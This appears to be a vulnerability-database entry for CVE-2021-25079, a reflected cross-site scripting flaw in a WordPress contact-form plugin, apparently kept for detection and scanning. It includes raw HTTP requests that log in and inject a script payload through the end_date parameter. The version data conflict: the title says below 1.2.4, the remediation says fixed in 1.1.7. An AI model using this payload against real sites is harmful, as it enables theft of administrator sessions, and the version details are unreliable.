| Title | Contact Form Entries < 1.2.4 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in multiple parameters, potentially stealing administrator session cookies or accessing contact form submission data. |
| Remediation | Fixed in version 1.1.7 |
| CVSS Score | 6.1 |
| EPSS Score | 0.03135 |
| CVE ID | CVE-2021-25079 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress wp-plugin wpscan authenticated contact-form-entries xss crmperks vuln |
The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=P7DsI4&pwd=jPcLHx&wp-submit=Log+In
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25079.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25079.pcap
N/AN/A